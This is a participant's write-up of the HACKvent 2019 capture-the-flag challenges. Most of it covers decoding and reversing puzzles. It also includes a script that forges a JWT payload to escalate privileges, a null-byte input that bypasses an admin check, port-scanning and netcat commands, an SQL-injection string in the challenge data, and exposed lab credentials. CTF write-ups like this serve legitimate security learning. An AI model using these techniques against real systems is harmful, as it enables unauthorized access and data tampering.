HACKvent 2019 write-up

HACKventโ€ฆ Initially, I didnโ€™t want to participate at all โ€“ or at least not go all in and solve every challenge in time. I started solving the first ones and as the challenges became harder and of course more interesting I got more and more hooked. In the end I did solve them all, and in time.

A big part of the CTF are interactions and discussions with other participants. Thanks and shouts to ludus, jokker, 0xI, multifred, veganjay and others for the good discussions, support and motivation!

This year the event ran on the brand new Hacking Lab 2.0. There are still some minor issues, like the responsive design which can be optimized. The session timeout was a bit short for my taste, but hey Security! ๐Ÿ˜„ Issues which occurred with some challenges were not Hacking Lab 2.0 related. All in all I got a very good impression of the new HL.

I will never understand how the ranking works in Hacking-Lab. There were three different rankings (the one in the registered event, a public one and a statistics page) and all three seemed to have a different ordering. ๐Ÿ˜… Two of the rankings are shown in the print-screens below. The black & green statistics page is probably the most accurate one. At least with the diff in minutes to the fastest perfect scorer the ranking looks about right.

I am very happy to have finished HACKvent as perfect scorer!

Contents hide

HV19.01 censored (Author: M โ€” Level: easy)

I got this little image, but it looks like the best part got censored on the way. Even the tiny preview icon looks clearer than this! Maybe they missed something that would let you restore the original content?

Censored by Santa!

The description already tells us the solution (Even the tiny preview icon looks clearer than thisโ€ฆ) We can extract the thumbnail from the image to get the QR Code containing the flag:

$ exiftool -b -ThumbnailImage f182d5f0-1d10-4f0f-a0c1-7cba0981b6da.jpg > thumb.jpg

Flag: HV19{just-4-PREview!}

HV19.02 Triangulation (Author: drschottky โ€” Level: easy)

Today we give away decorations for your Christmas tree. But be careful and do not break it.


I solved this one on my mobile phone with the following Android app: https://play.google.com/store/apps/details?id=com.performance.meshview&hl=en
First, I used the โ€˜separateโ€™ function and deleted the two outer layers. After these steps a QR Code became visible.

This is an Aztec Barcode which can be decoded with several tools, one being this online decoder: https://www.onlinebarcodereader.com

Flag: HV19{Cr4ck_Th3_B411!}

HV19.03 Hodor, Hodor, Hodor (Author: otaku feat. trolli101 โ€” Level: easy)


$HODOR: hhodor. Hodor. Hodor!?  = `hodor?!? HODOR!? hodor? Hodor oHodor. hodor? , HODOR!?! ohodor!?  dhodor? hodor odhodor? d HodorHodor  Hodor!? HODOR HODOR? hodor! hodor!? HODOR hodor! hodor? !
hodor?!? Hodor  Hodor Hodor? Hodor  HODOR  rhodor? HODOR Hodor!?  h4Hodor?!? Hodor?!? 0r hhodor?  Hodor!? oHodor?! hodor? Hodor  Hodor! HODOR Hodor hodor? 64 HODOR Hodor  HODOR!? hodor? Hodor!? Hodor!? .
HODOR?!? hodor- hodorHoOodoOor Hodor?!? OHoOodoOorHooodorrHODOR hodor. oHODOR... Dhodor- hodor?! HooodorrHODOR HoOodoOorHooodorrHODOR RoHODOR... HODOR!?! 1hodor?! HODOR... DHODOR- HODOR!?! HooodorrHODOR Hodor- HODORHoOodoOor HODOR!?! HODOR... DHODORHoOodoOor hodor. Hodor! HoOodoOorHodor HODORHoOodoOor 0Hooodorrhodor HoOodoOorHooodorrHODOR 0=`;
hodor.hod(hhodor. Hodor. Hodor!? );

After some googling I found that there is a Hodor programming languageโ€ฆ There is an online tool which can run many different programming languages, Hodor included: https://tio.run/#hodor

Awesome, you decoded Hodors language!
As sis a real h4xx0r he loves base64 as well.

The Flag is Base64 encoded and can be decoded with CyberChef.

Flag: HV19{h01d-th3-d00r-4204-ld4Y}

HV19.04 password policy circumvention (Author: DanMcFly โ€” Level: easy)

Santa released a new password policy (more than 40 characters, upper, lower, digit, special).
The elves canโ€™t remember such long passwords, so they found a way to continue to use their old (bad) password:

merry christmas geeks


The ZIP archive contains an AutoHotKey file.

$ cat HV19-PPC.ahk
FormatTime , x,, MM MMMM yyyy
SendInput, %x%{left 4}{del 2}+{right 2}^c{end}{home}^v{home}V{right 2}{ASC 00123}
SendInput HV19-pass-w0rd
Send - {del}{right}4h
Send {left 8}rmmbr{end}{ASC 00125}{home}{right 10}
Send {left}{left}{del}{del}{left},{right}e{right}3{right 2}e{right}{del 5}{home}H{right 4}
Send {del}R3{right}e{right 2}3{right 2} {right 8} {right} the{right 3}t{right} 0f{right 3}{del}c{end}{left 5}{del 4}
SendInput, -Hack-Vent-Xmas
Send -1337-hack

The AHK file can be loaded with AutoHotkey. The scripts recognizes the pressed keys and replaces โ€œmerry christmas geeksโ€ with a valid password. The valid password is the flag we are looking for. It is important not to type too fast, otherwise AutoHotkey will not replace the password correctly. But when done right, the flag appears:

Flag: HV19{R3memb3r, rem3mber โ€“ the 24th 0f December}

HV19.05 Santa Parcel Tracking (Author: inik โ€” Level: easy)

To handle the huge load of parcels Santa introduced this year a parcel tracking system. He didnโ€™t like the black and white barcode, so he invented a more solemn barcode. Unfortunately the common barcode readers canโ€™t read it anymore, it only works with the pimped models santa owns. Can you read the barcode

The flag is hidden in the colors of the barcode. The blue value out of RGB is the character code of the hidden message. I created a python script, which reads the image pixel by pixel from left to right and gets the message hidden in the image.

from PIL import Image
im = Image.open('code.png','r')
width, height = im.size
pix_val = list(im.getdata())
res = ""
last = ""
counter = 0
while counter <= width:
    x = pix_val[counter][2]
    if x >= 32 and x <= 132 and x != last:
        res += chr(x)
    last = x
    counter += 1
$ python sol.py

Flag: HV19{D1fficult_to_g3t_a_SPT_R3ader}

HV19.06 bacon and eggs (Author: brp64 โ€” Level: easy)


Francis Bacon was an English philosopher anstatesman who serveas Attorney General and as Lord Chancellor of England. His works are credited with developing the scientific method and remained influential through the scientific revolution. Bacon has been called thfather of empiricism. Hiworks argued for the possibility of scientific knowledge based only upon inductive reasoning and careful observation of events in nature. Most importantlyhe argued science could bachieved by use of a sceptical and methodical approach whereby scientists aim to avoid misleading themselves. Althoughis practical ideas about such a method, the Baconian method, did not have a longโ€“lasting influence, thgeneral idea of the importance and possibility of a sceptical methodology makes Bacon the father of the scientific method. This method was a new rhetorical and theoretical framework for science, the practical details of which are still central in debates about science and methodology.

Bacon was the first recipient of the Queenโ€™s counsel designation, which was conferred in 1597 when Elizabeth I of England reserved Bacon as her legal advisor. After the accession of James VI and I in 1603, Bacon was knighted. He was later created Baron Verulam in 1618 and Viscount St. Alban in 1621. Because he had no heirs, both titles became extinct upon his death in 1626, at 65 years. Bacon died of pneumonia, with one account by John Aubrey stating that he had contracted the condition while studying the effects of freezing on the preservation of meat. He is buried at St Michaelโ€™s Church, St Albans, Hertfordshire.

Born: January 22
Died: April 9
Mother: Lady Anne
Father: Sir Nicholas
Secrets: unknown      	 	  	 	    	    	   	       	  

According to the description and title it is clear that the Bacon Cipher was applied to this text.

  • Replace italic letters with โ€˜aโ€™
  • Replace non italic letters with โ€˜bโ€™

This results in roughly this code:


I decoded the bacon code with https://www.dcode.fr/bacon-cipher and got the message:



Hidden Flag 01

The first hidden flag of HACKvent 2019 was inside this challenge. The text at the bottom of the description had whitespaces and tabs in it. Whitespace steganography was used to hide the extra flag.

I used Stegsnow to solve this challenge.

$ stegsnow -C input.txt

Flag: HV19{1stHiddenFound}

HV19.07 Santa Rider (Author: inik โ€” Level: easy)

Santa is prototyping a new gadget for his sledge. Unfortunately it still has some glitches, but look for yourself.

For easy download get: 3dbe0c12-d794-4f79-ae67-09ac27bd099d.zip

We can clearly see pattern how the leds light up. The leds light up from right to left and back in a row. In the middle of the video file there is a โ€œglitchโ€. We can see the lights glowing up in a very fast and weird way. The glitch represents the flag in binary form. To read all the binary values in the video I extracted all the frames from the video.

$ ffmpeg -i 3DULK2N7DcpXFg8qGo9Z9qEQqvaEDpUCBB1v.mp4 thumb%04d.jpg -hide_banner

Afterwards I went over all frames of the video and wrote down the binary message:

01001000 01010110 00110001 00111001 01111011 00110001 01101101 01011111 01100001 01101100 01110011 00110000 01011111 01110111 00110000 01110010 01101011 00110001 01101110 01100111 01011111 00110000 01101110 01011111 01100001 01011111 01110010 00110011 01101101 00110000 01110100 00110011 01011111 01100011 00110000 01101110 01110100 01110010 00110000 01101100 01111101

The flag can be decoded with CyberChef:

Flag: HV19{1m_als0_w0rk1ng_0n_a_r3m0t3_c0ntr0l}

Hidden Flag 02

The filename of the video file looks suspicious: 3DULK2N7DcpXFg8qGo9Z9qEQqvaEDpUCBB1v.mp4 I first thought it was Base64 decoded, but in the end it was Base58. Fortunately, this is very easy to find with the Magic function of CyberChef: https://gchq.github.io/CyberChef

Flag: HV19{Dont_confuse_0_and_O}

HV19.08 SmileNcryptor 4.0 (Author: otaku โ€” Level: medium)

You hacked into the system of very-secure-shopping.com and you found a SQL-Dump with $$-creditcards numbers. As a good hacker you inform the company from which you got the dump. The managers tell you that they donโ€™t worry, because the data is encrypted.

Dump-File: dump.zip

The SQL file looks like this:

-- MySQL dump 10.13  Distrib 5.7.19, for Win64 (x86_64)
-- Host: localhost    Database: secureshopping
-- ------------------------------------------------------
-- Server version	5.7.19-log
/*!40101 SET NAMES utf8 */;
/*!40103 SET TIME_ZONE='+00:00' */;
-- Table structure for table `creditcards`
DROP TABLE IF EXISTS `creditcards`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `creditcards` (
  `cc_id` int(11) NOT NULL AUTO_INCREMENT,
  `cc_owner` varchar(64) DEFAULT NULL,
  `cc_number` varchar(32) DEFAULT NULL,
  `cc_expires` varchar(7) DEFAULT NULL,
  PRIMARY KEY (`cc_id`)
/*!40101 SET character_set_client = @saved_cs_client */;
-- Dumping data for table `creditcards`
LOCK TABLES `creditcards` WRITE;
/*!40000 ALTER TABLE `creditcards` DISABLE KEYS */;
INSERT INTO `creditcards` VALUES
(1,'Sirius Black',':)QVXSZUVY\ZYYZ[a','12/2020'),
(2,'Hermione Granger',':)QOUW[VT^VY]bZ_','04/2021'),
(3,'Draco Malfoy',':)SPPVSSYVV\YY_\\]','05/2020'),
(4,'Severus Snape',':)RPQRSTUVWXYZ[\]^','10/2020'),
(5,'Ron Weasley',':)QTVWRSVUXW[_Z`\b','11/2020');
/*!40000 ALTER TABLE `creditcards` ENABLE KEYS */;
-- Table structure for table `flags`
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `flags` (
  `flag_id` int(11) NOT NULL AUTO_INCREMENT,
  `flag_prefix` varchar(5) NOT NULL,
  `flag_content` varchar(29) NOT NULL,
  `flag_suffix` varchar(1) NOT NULL,
  PRIMARY KEY (`flag_id`)
/*!40101 SET character_set_client = @saved_cs_client */;
-- Dumping data for table `flags`
/*!40000 ALTER TABLE `flags` DISABLE KEYS */;
INSERT INTO `flags` VALUES (1,'HV19{',':)SlQRUPXWVo\Vuv_n_\ajjce','}');
/*!40000 ALTER TABLE `flags` ENABLE KEYS */;

Apparently, the creditcard numbers and the flag were encrypted with some proprietary encryption. First, I was thinking about XOR with a key. If the key is found we can reverse all the credit card numbers and the flag as well.
I wrote a Python script which tries to XOR different values with the first characters of all credit card numbers, if the result is a printable character then we have a possible match. Continue with the second position of all credit card numbers and so onโ€ฆ

XOR was not successful, but subtraction was! Here is the Python script which first calculates the key and then decrypts the flag:

#find key
counter = 0
c = 0
key = []
while counter < 130:
		'''print("[+] Trying: " + str(counter))
		for x in range(0, 14):
			if chr(ord(s1[x])-counter).isdigit() and chr(ord(s2[x])-counter).isdigit() and chr(ord(s3[x])-counter).isdigit() and chr(ord(s4[x])-counter).isdigit() and chr(ord(s5[x])-counter).isdigit():
			counter += 1
		if len(key) == 14:
			print("[+] Key found:")
		if counter == 130:
			counter = key[0]+1
			key = []
		counter +=1
		if counter == 130:
			counter = key[0]+1
			key = []
flag = "HV19{"
for x in range(0, len(s)):
	if x < len(key):
		flag += chr(ord(s[x]) - key[x])
		flag += chr(ord(s[x]) - key[len(key)-1] - (x + 1 - len(key)))
flag += "}"
print("[+] Decrypted Flag")
$ python sol.py
[+] Key found:
[30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43]
[+] Decrypted Flag

Flag: HV19{5M113-420H4-KK3A1-19801}

HV19.09 Santas Quick Response 3.0 (Author: brp64 feat. M. โ€” Level: medium)

Visiting the following railway station has left lasting memories.

Santas brand new gifts distribution system is heavily inspired by it. Here is your personal gift, can you extract the destination path of it?

A revers image search of the first image led me to the Wiki page of the Cambridge North railway station. The special design was derived of the Rule 30.

After fiddling around Iโ€™ve found out that the correct QR Code and the image of the Rule 30 were over-layed and the colors probably XORed. I used GIMP to reverse this:

  • Open Rule 30 image
  • Open QR Code as a Layer
  • Chose โ€œDifferenceโ€ mode
  • Scale the size of the layer to match the background

The hard part was to find the exact position where the images are on top of each other. After some manual trial and error I could find the correct position.

Flag: HV19{Cha0tic_yet-0rdered}

HV19.10 Guess what (Author: inik โ€” Level: medium)

The flag is right, of course


Unfortunately I wasted many hours on this, as the binary file was wrong several times. Due to my preparations with the corrupted file I could solve the challenge very quickly, after a working file was released at 20:00 CET.
The flag is obfuscated, but because the comparison of our input with the flag is done with a library call we can easily extract it with the โ€˜ltraceโ€˜ command:

$ ltrace ./guess3
strlen(""HV19{Sh3ll_0bfuscat10n_1s_fut1l"...)                              = 35
strlen("HV19{Sh3ll_0bfuscat10n_1s_fut1l3"...)                              = 34

Flag: HV19{Sh3ll_0bfuscat10n_1s_fut1l3}

HV19.11 Frolicsome Santa Jokes API (Author: inik โ€” Level: medium)

The elves created an API where you get random jokes about santa.

Go and try it here: http://whale.hacking-lab.com:10101

On the provided website there is the API documentation for the Santa Jokes API:

After trying to find any vulnerabilities in the API calls I did check the access token a bit more in detailโ€ฆ And indeed, the vulnerability is in the access token. The token contains three parts. Each part is separated with a โ€œ.โ€ (dot). The middle part contains the access rights of the user. The security issue exists because this part is not encrypted but only Base64 encoded. An attacker can decode the token and change the privileges of the logged in user. This makes it possible to read the flag.

I created a Python script to automate the hack:

import requests
import json
import base64
URL = "http://whale.hacking-lab.com:10101"
REGISTER = "/fsja/register"
LOGIN= "/fsja/login"
RANDOM= "/fsja/random"
headers={'Content-type':'application/json', 'Accept':'application/json'}
user = {	"username": "mcia",
			"password": "passwordpassword"
x = requests.post(URL + REGISTER, json = user, headers = headers)
# getToken
x = requests.post(URL + LOGIN, json = user, headers = headers)
j = json.loads(x.text)
token = j["token"]
print("[+] Token is: " + token)
# decryptToken
t = token.split(".")
decoded = base64.b64decode(t[1])
# Evelate privileges
print("[+] Evelate privileges!")
platinum = base64.b64encode(decoded.replace('platinum":false', 'platinum":true'))
token = t[0] + "." + platinum + "." + t[2]
print("[+] Get flag...\n")
x = requests.get(URL + RANDOM, params = {"token":token}, headers = headers)
j = json.loads(x.text)
$ python sol.py
[+] Token is: eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjp7InVzZXJuYW1lIjoibWNpYSIsInBsYXRpbnVtIjpmYWxzZX0sImV4cCI6MTU3NzIwMzQ4MS40NjYwMDAwMDB9.t32Aw1rsmdntcWLaU3DcTdiQQEoVsfgTdVLyolEMwyk
[+] Evelate privileges!
[+] Get flag...
{u'platinum': True, u'joke': u"Congratulation! Sometimes bugs are rather stupid. But that's how it happens, sometimes. Doing all the crypto stuff right and forgetting the trivial stuff like input validation, Hohoho! Here's your flag: HV19{th3_cha1n_1s_0nly_as_str0ng_as_th3_w3ak3st_l1nk}", u'author': u'Santa'}

Flag: HV19{th3_cha1n_1s_0nly_as_str0ng_as_th3_w3ak3st_l1nk}

Hidden Flag 03

This challenge contains another hidden flag. In the description of the hidden flag this hint was present โ€œNot each quote is complโ€.
I scanned the server with nmap and found a qotd service running. qotd stands for Quote Of The Day. ๐Ÿ™‚

$ sudo nmap -sS whale.hacking-lab.com
Starting Nmap 7.60 ( https://nmap.org ) at 2019-12-24 16:12 CET
Nmap scan report for whale.hacking-lab.com (
Host is up (0.023s latency).
rDNS record for urb80-74-140-188.ch-meta.net
Not shown: 991 filtered ports
17/tcp   open   qotd
22/tcp   open   ssh
80/tcp   closed http
443/tcp  closed https
2222/tcp closed EtherNetIP-1
4444/tcp closed krb524
5555/tcp closed freeciv
8888/tcp open   sun-answerbook
9001/tcp open   tor-orport
Nmap done: 1 IP address (1 host up) scanned in 8.73 seconds

The service runs on the port 17 and when connected with netcat it returns 1 characterโ€ฆ Every hour another oneโ€ฆ With some patience and the following bash one-liner we can solve this:

$ while true; do nc whale.hacking-lab.com 17 >> log.txt; sleep 3600; done &

Flag: HV19{an0ther_DAILY_fl4g}

HV19.12 back to basic (Author: hardlock โ€” Level: medium)

Santa used his time machine to get a present from the past. get your rusty tools out of your cellar and solve this one!


On this day we had to reverse engineer a binary which originally was programmed in Visual Basic. This was pretty hard. In my opinion too hard for a medium level challenge. To solve this one I used Ghidra and OllyDbg.

In the function where the flag is generated the first IF checks if the input is 33 characters long. If it is not 33 characters the status โ€œWrongโ€ is returned.

  uVar3 = __vbaVarCmpEq(local_80,local_160,local_70);
  uVar3 = __vbaVarCmpEq(local_b0,local_180,local_a0,uVar3);
  uVar3 = __vbaVarAnd(local_c0,uVar3);
  uVar3 = __vbaVarCmpEq(local_f0,local_1a0,local_e0,uVar3);
  uVar3 = __vbaVarAnd(local_100,uVar3);
  uVar3 = __vbaVarCmpEq(local_130,local_1c0,local_120,uVar3);
  uVar3 = __vbaVarAnd(local_140,uVar3);
  local_1c4 = __vbaBoolVarNull(uVar3);
  if (local_1c4 == 0) {
    uVar3 = (**(code **)(*piVar6 + 0x300))(piVar6);
    piVar4 = (int *)__vbaObjSet(&local_50,uVar3);
    iVar5 = (**(code **)(*piVar4 + 0x54))(piVar4,L"Status: wrong");

Afterwards in the loop our input is XORed with something. I didnโ€™t find the key which was used to XOR with. But I did find the result of the XOR in OllyDbg:

My input is HV19{AAAAAAAAAAAAโ€ฆ.(0x41) and the XORed result is: โ€œ0x47, 0x46, 0x49, 0x48, 0x4Bโ€. XOR is reversible, therefore I can calculate the key which was used to XOR my input:

>>> hex(0x4141414141 ^ 0x474649484b)

The key to XOR our input with is โ€œ0x06 0x07 0x08 0x09โ€ฆโ€. Out of Ghidra we know what the end result of the XOR has to be:

At the memory location 401b40 we find the result bytes:

                         DAT_00401b40                                    XREF[1]:     FUN_00401f80:00402416(*)
    00401b40 36              ??         36h    6
    00401b41 00              ??         00h
    00401b42 6b              ??         6Bh    k
    00401b43 00              ??         00h
    00401b44 6c              ??         6Ch    l
    00401b45 00              ??         00h
    00401b46 7a              ??         7Ah    z
    00401b47 00              ??         00h
    00401b48 69              ??         69h    i
    00401b49 00              ??         00h
    00401b4a 63              ??         63h    c
    00401b4b 00              ??         00h
    00401b4c 3c              ??         3Ch    <
    00401b4d 00              ??         00h
    00401b4e 3d              ??         3Dh    =
    00401b4f 00              ??         00h
    00401b50 62              ??         62h    b
    00401b51 00              ??         00h
    00401b52 50              ??         50h    P
    00401b53 00              ??         00h
    00401b54 42              ??         42h    B
    00401b55 00              ??         00h
    00401b56 74              ??         74h    t
    00401b57 00              ??         00h
    00401b58 64              ??         64h    d
    00401b59 00              ??         00h
    00401b5a 76              ??         76h    v
    00401b5b 00              ??         00h
    00401b5c 66              ??         66h    f
    00401b5d 00              ??         00h
    00401b5e 66              ??         66h    f
    00401b5f 00              ??         00h
    00401b60 27              ??         27h    '
    00401b61 00              ??         00h
    00401b62 79              ??         79h    y
    00401b63 00              ??         00h
    00401b64 7f              ??         7Fh    
    00401b65 00              ??         00h
    00401b66 46              ??         46h    F
    00401b67 00              ??         00h
    00401b68 49              ??         49h    I
    00401b69 00              ??         00h
    00401b6a 7e              ??         7Eh    ~
    00401b6b 00              ??         00h
    00401b6c 6f              ??         6Fh    o
    00401b6d 00              ??         00h
    00401b6e 6e              ??         6Eh    n
    00401b6f 00              ??         00h
    00401b70 2f              ??         2Fh    /
    00401b71 00              ??         00h
    00401b72 2f              ??         2Fh    /
    00401b73 00              ??         00h
    00401b74 4e              ??         4Eh    N
    00401b75 00              ??         00h

And as we have an addition by two in the loop we get the hex string โ€œ36 6b 6c 7a 69 63 3c 3d 62 50 42 74 64 76 66 66 27 79 7f 46 49 7e 6f 6e 2f 2f 4eโ€. Now we have everything to calculate the flag:

s = [0x36, 0x6b, 0x6c, 0x7a, 0x69, 0x63, 0x3c, 0x3d, 0x62, 0x50, 0x42, 0x74, 0x64, 0x76, 0x66, 0x66, 0x27, 0x79, 0x7f, 0x46, 0x49, 0x7e, 0x6f, 0x6e, 0x2f, 0x2f, 0x4e]
key = [0x6, 0x7, 0x8, 0x9, 0xa, 0xb, 0xc, 0xd, 0xe, 0xf, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x20]
counter = 0
result = ""
for x in s:
  result += chr(x^key[counter])
  counter += 1
print("HV19{" + result + "}")
$ python sol12.py

Flag: HV19{0ldsch00l_Revers1ng_Sess10n}

HV19.13 TrieMe (Author: kiwi โ€” Level: medium)

Switzerlandโ€™s national security is at risk. As you try to infiltrate a secret spy facility to save the nation you stumble upon an interesting looking login portal.
Can you break it and retrieve the critical information?

Facility: http://whale.hacking-lab.com:8888/trieme/

The first look at the provided source code made me think that this has to be a serialization vulnerability. But if we look more closely at the details it gets clear we somehow have to become admin and the flag will be revealed.

package com.jwt.jsf.bean;
import org.apache.commons.collections4.trie.PatriciaTrie;
import java.io.IOException;
import java.io.InputStream;
import java.io.Serializable;
import java.io.StringWriter;
import javax.faces.bean.ManagedBean;
import javax.faces.bean.SessionScoped;
import static org.apache.commons.lang3.StringEscapeUtils.unescapeJava;
import org.apache.commons.io.IOUtils;
public class NotesBean implements Serializable {
	private PatriciaTrie<Integer> trie = init();
	private static final long serialVersionUID = 1L;
	private static final String securitytoken = "auth_token_4835989";
	public NotesBean() {
	public String getTrie() throws IOException {
		if(isAdmin(trie)) {
			InputStream in=getStreamFromResourcesFolder("data/flag.txt");
			StringWriter writer = new StringWriter();
			IOUtils.copy(in, writer, "UTF-8");
			String flag = writer.toString();
			return flag;
	public void setTrie(String note) {
		trie.put(unescapeJava(note), 0);
    private static PatriciaTrie<Integer> init(){
        PatriciaTrie<Integer> trie = new PatriciaTrie<Integer>();
        return trie;
    private static boolean isAdmin(PatriciaTrie<Integer> trie){
        return !trie.containsKey(securitytoken);
    private static InputStream getStreamFromResourcesFolder(String filePath) {
    	  return Thread.currentThread().getContextClassLoader().getResourceAsStream(filePath);

The security token is stored in a PatriciaTrie object. Very very suspicious is the isAdmin() check: If the security token is NOT stored in the PatriciaTrie we are admin. This sounds like it was done on purpose just for this challenge.

As I didnโ€™t know PatriciaTrie I googled to learn more about it. The most interesting thing Iโ€™ve found was a unfixed security vulnerability in PatriciaTree: https://issues.apache.org/jira/browse/COLLECTIONS-714. PatriciaTrie does not differentiate between โ€œxโ€ and โ€œx\u0000โ€ and we can use this to overwrite the security token.

public void testNullTerminatedKey2() {
    PatriciaTrie<Integer> trie = new PatriciaTrie<>();
    trie.put("x", 0);
    Assert.assertTrue(trie.containsKey("x")); // ok
    trie.put("x\u0000", 1);
    Assert.assertTrue(trie.containsKey("x")); // fail

This is exactly our case, now it is clear why the isAdmin() function was implemented this weird wayโ€ฆ To solve this challenge we can enter โ€œauth_token_4835989\u0000โ€ into the text field of the website and collect the flag.

Flag: HV19{get_th3_chocolateZ}

HV19.14 Achtung das Flag (Author: M. (who else) โ€” Level: medium)

Letโ€™s play another little game this year. Once again, I promise it is hardly obfuscated.


use Tk;use MIME::Base64;chomp(($a,$a,$b,$c,$f,$u,$z,$y,$r,$r,$u)=<DATA>);sub M{$M=shift;##
@m=keys %::;(grep{(unpack("%32W*",$_).length($_))eq$M}@m)[0]};$zvYPxUpXMSsw=0x1337C0DE;###
->bind("<$sk6i47pO-n>"=>sub{$Sk6lA7p0=0 if$Sk6lA7p0>0;});$vgOjwRk4wIo7_->bind("<$sk6i47pO"
."-m>"=>sub{$Sk6lA7p0=0 if $Sk6lA7p0<0;});$::{M(7998)}->();$M_decrypt=sub{'HACKVENT2019'};
The cake is a lie!
Only perl can parse Perl!
Achtung das Flag! --> Use N and M
M'); DROP TABLE flags; --
Run me in Perl!

The first step is to de-obfuscate the perl script:

$ perl -MO=Deparse -l 14.pl > 14_deobfuscated.pl
14.pl syntax OK

The script now looks a little bit more readable.

BEGIN { $/ = "\n"; $\ = "\n"; }
sub Tk::Frame::queuePack;
sub Tk::Frame::freeze_on_map;
sub Tk::Frame::FindMenu;
sub Tk::Frame::label;
sub Tk::Frame::sbset;
sub Tk::Frame::packscrollbars;
sub Tk::Frame::labelVariable;
sub Tk::Frame::AddScrollbars;
sub Tk::Frame::labelPack;
sub Tk::Frame::scrollbars;
sub Tk::Toplevel::FG_BindIn;
sub Tk::Toplevel::FG_Out;
sub Tk::Toplevel::FG_Destroy;
sub Tk::Toplevel::FG_Create;
sub Tk::Toplevel::FG_In;
sub Tk::Toplevel::FG_BindOut;
use Tk;
use MIME::Base64;
chomp(($a, $a, $b, $c, $f, $u, $z, $y, $r, $r, $u) = readline DATA);
sub M {
    $M = shift();
    @m = keys %main::;
    (grep {unpack('%32W*', $_) . length($_) eq $M;} @m)[0];
$zvYPxUpXMSsw = 322420958;
$PMMtQJOcHm8eFQfdsdNAS20 = sub {
    $zvYPxUpXMSsw = $zvYPxUpXMSsw * 16807 & 4294967295;
($a1Ivn0ECw49I5I0oE0 = '07&3-"11*/(') =~ tr/!-=/`-|/;
($Sk61A7pO = 'K&:P3&44') =~ tr/!-=/`-|/;
($sk6i47pO = 'K&:R&-&"4&') =~ tr/!-=/`-|/;
$d28Vt03MEbdY0 = sub {
    pack 'n', $fff[$S9cXJIGB0BWce++] ^ &$PMMtQJOcHm8eFQfdsdNAS20() & 57005;
($vgOjwRk4wIo7_ = 'MainWindow'->new)->title($r);
($vMnyQdAkfgIIik = $vgOjwRk4wIo7_->Canvas("-$a", 640, "-$b", 480, "-$u", $f))->pack;
@p = (42, 42);
$cqI = $vMnyQdAkfgIIik->createLine(@p, @p, "-$y", $c, "-$a", 3);
$S9cXJIGB0BWce = 0;
$_2kY10 = 0;
$_8NZQooI5K4b = 0;
$Sk6lA7p0 = 0;
$_ = M(120812) . '/' . M(191323) . M(133418) . M(98813) . M(121913) . M(134214) . M(101213) . '/' . M(97312) . M(6328) . M(2853) . '+' . M(4386);
@fff = map({unpack 'n', $main::{M 122413}($_);} /.../g);
($T = sub {
    $t = $vMnyQdAkfgIIik->createText(&$PMMtQJOcHm8eFQfdsdNAS20() % 600 + 20, &$PMMtQJOcHm8eFQfdsdNAS20() % 440 + 20, '-text', &$d28Vt03MEbdY0(), "-$y", $z);
$i = $vMnyQdAkfgIIik->repeat(25, sub {
    $_ = $_8NZQooI5K4b += 0.1 * $Sk6lA7p0;
    $p[0] += 3 * cos($_);
    $p[1] -= 3 * sin($_);
    $i->cancel unless $p[0] > 1 and $p[1] > 1 and $p[0] < 639 and $p[1] < 479;
    $q = +($vMnyQdAkfgIIik->find($a1Ivn0ECw49I5I0oE0, $p[0] - 1, $p[1] - 1, $p[0] + 1, $p[1] + 1) || [])->[0];
    &$T() if $q == $t;
    $vMnyQdAkfgIIik->insert($cqI, 'end', \@p);
    $i->cancel if $q == $cqI or $S9cXJIGB0BWce > 44;
$KE = 5;
$vgOjwRk4wIo7_->bind("<$Sk61A7pO-n>", sub {
    $Sk6lA7p0 = 1;
$vgOjwRk4wIo7_->bind("<$Sk61A7pO-m>", sub {
    $Sk6lA7p0 = -1;
$vgOjwRk4wIo7_->bind("<$sk6i47pO-n>", sub {
    $Sk6lA7p0 = 0 if $Sk6lA7p0 > 0;
$vgOjwRk4wIo7_->bind("<$sk6i47pO" . '-m>', sub {
    $Sk6lA7p0 = 0 if $Sk6lA7p0 < 0;
$main::{M 7998}();
$M_decrypt = sub {
The cake is a lie!
Only perl can parse Perl!
Achtung das Flag! --> Use N and M
M'); DROP TABLE flags; --
Run me in Perl!

I donโ€™t like Perl and Perl CTF challanges even less! I fiddled with the Perl script until it printed the flag to the console. Here is the diff of the original (deobfuscated) Perl script and my modifications:

$ diff 14_deobfuscated.pl 14_soll.pl
<     $t = $vMnyQdAkfgIIik->createText(&$PMMtQJOcHm8eFQfdsdNAS20() % 600 + 20, &$PMMtQJOcHm8eFQfdsdNAS20() % 440 + 20, '-text', &$d28Vt03MEbdY0(), "-$y", $z);
>     #$t = $vMnyQdAkfgIIik->createText(&$PMMtQJOcHm8eFQfdsdNAS20() % 600 + 20, &$PMMtQJOcHm8eFQfdsdNAS20() % 440 + 20, '-text', &$d28Vt03MEbdY0(), "-$y", $z);
>     # This is still needed..
>     &$PMMtQJOcHm8eFQfdsdNAS20() % 600 + 20, &$PMMtQJOcHm8eFQfdsdNAS20() % 440 + 20;
>     print(&$d28Vt03MEbdY0());
<     &$T() if $q == $t;
>     #&$T() if $q == $t;
>     &$T();

Fag: HV19{s@@jSfx4gPcvtiwxPCagrtQ@,y^p-za-oPQ^a-z\x20\n^&&s[(.)(..)][\2\1]g;s%4(โ€ฆ)%โ€p$1tโ€%ee}

Hidden Flag 04

The flag of the Perl challenge looks very suspicious! In previous HACKvents I learned that everything (!) can be a Perl script and be executedโ€ฆ So, why we donโ€™t just try to execute the flag as Perl?! ๐Ÿ™‚

$ perl flag14.pl
Squ4ring the Circle

Flag: HV19{Squ4ring the Circle}

HV19.15 Santaโ€™s Workshop (Author: inik & avarx โ€” Level: hard)

The Elves are working very hard.
Look at http://whale.hacking-lab.com:2080/ to see how busy they are.

First day of hard challenges! This took a lot of time and nerves, mainly because it wasnโ€™t working correctly. I had the solution some hours after the release at midnight, but the intended way didnโ€™t work because the server had problems. ๐Ÿ™

The website out of the challenge description looks like this:

Inspecting the website a bit further revealed that the Mosquitto message broker is used and there is a config.js file with additional information.

var mqtt;
var reconnectTimeout = 100;
var host = 'whale.hacking-lab.com';
var port = 9001;
var useTLS = false;
var username = 'workshop';
var password = '2fXc7AWINBXyruvKLiX';
var clientid = localStorage.getItem("clientid");
